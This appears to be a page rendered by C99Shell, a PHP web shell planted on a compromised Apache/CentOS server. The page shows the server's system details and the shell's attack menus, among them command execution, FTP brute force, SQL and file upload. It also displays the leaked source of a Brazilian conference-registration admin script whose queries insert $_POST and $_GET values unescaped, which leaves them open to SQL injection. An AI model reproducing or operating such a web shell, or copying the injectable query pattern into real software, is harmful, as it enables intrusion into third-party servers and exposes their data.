!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/inscricoes/   drwxr-xr-x
Free 9.36 GB of 93.48 GB (10.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     obsPagtoCongresso.php (3.27 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
    
include("../../config/config.php"); 
    include(
INCLUDES "conexaoBD.php");
    include(
INCLUDES "funcoes_uteis.php");
    include(
INCLUDES "sentencas_sql.php");
    include(
INCLUDES "valida_usuario.inc.php");
    
    if (
$_POST) {
        
extract($_POST);
        
        
$upd "UPDATE inscricao_congresso SET 
                INS_PagoSN = 'S', 
                INS_DataPagamento = now(), 
                INS_Valor = '0.00', 
                INS_ValorPago = '0.00', 
                INS_Justificativa = '
$txtJustificativa'
                WHERE INS_RowID = 
$hdRowID";
        
//echo '<pre>'.$upd.'</pre>';
        
if($conexao->query($upd)) {
           
$conexao->commit();
        }
        
        
?>
        <div style="width:100%; text-align:center; margin-top:150px;"><h2>ISENÇÃO REALIZADA COM SUCESSO!</h2></div>
            <script src="../../includes/jquery-1.2.6.js" type="text/javascript"></script>
        <script type="text/javascript">
            $(function() {
                setTimeout('fechar()', 1500);
            });
            function fechar() {
                window.opener.location.reload('congresso_boletos.php?sit=0');
                window.close();
            }
        </script>
        <?php
        
die();
    }
    
    
$id $_GET['id'];
    
//busca os dados da inscrição selecionada
    
$sql "
        SELECT *
        FROM inscricao_congresso
        WHERE INS_RowID = 
$id
    "
;
    
$exe $conexao->query($sql);
    
$rs $exe->fetch_array();
    
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Untitled Document</title>
<script src="../../includes/jquery-1.2.6.js" type="text/javascript"></script>
<style type="text/css">
   body{ font-family: verdana; font-size: 13px;} 
</style>
<script type="text/javascript">
$(function() {
    $('#txtJustificativa').focus();
});
</script>

</head>

<body>
    <div id="logo">
        <img src="<?=  HOST;?>imagens/logo.jpg" width="250" height="72"></img>
    </div>
<form id="form1" name="form1" method="post" action="">
  <table width="500" border="0" align="center">
    <tr>
      <td colspan="2">Preencha os campos abaixo para confirma&ccedil;&atilde;o manual da inscri&ccedil;&atilde;o</td>
    </tr>
    <tr>
      <td colspan="2" style="background: #033455; text-align: center; color: #FFFFFF;">Isento de Pagamento</td>
    </tr>
    <tr>
      <td width="100">&nbsp;</td>
      <td width="400"><input name="hdRowID" type="hidden" id="hdRowID" value="<?= $rs['INS_RowID']?>" /></td>
    </tr>
    <tr>
      <td>Nome:</td>
      <td><?= $rs['INS_Nome']?></td>
    </tr>
    <tr>
      <td>Of&iacute;cio:</td>
      <td><?= $rs['INS_Oficio']?></td>
    </tr>
    <tr>
      <td>Cidade:</td>
      <td><?= $rs['INS_Cidade']?></td>
    </tr>
    <tr>
      <td>Valor:</td>
      <td>R$ 0,00</td>
    </tr>
    <tr>
      <td valign="top">Justificativa:</td>
      <td><textarea name="txtJustificativa" id="txtJustificativa" cols="45" rows="5"></textarea></td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td colspan="2" align="center"><input type="submit" name="btnConfirma" id="btnConfirma" value="Isentar Pagamento" /></td>
    </tr>
  </table>
  <script type="text/javascript" src="../../includes/jquery-1.2.6.js"></script>
</form>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0042 ]--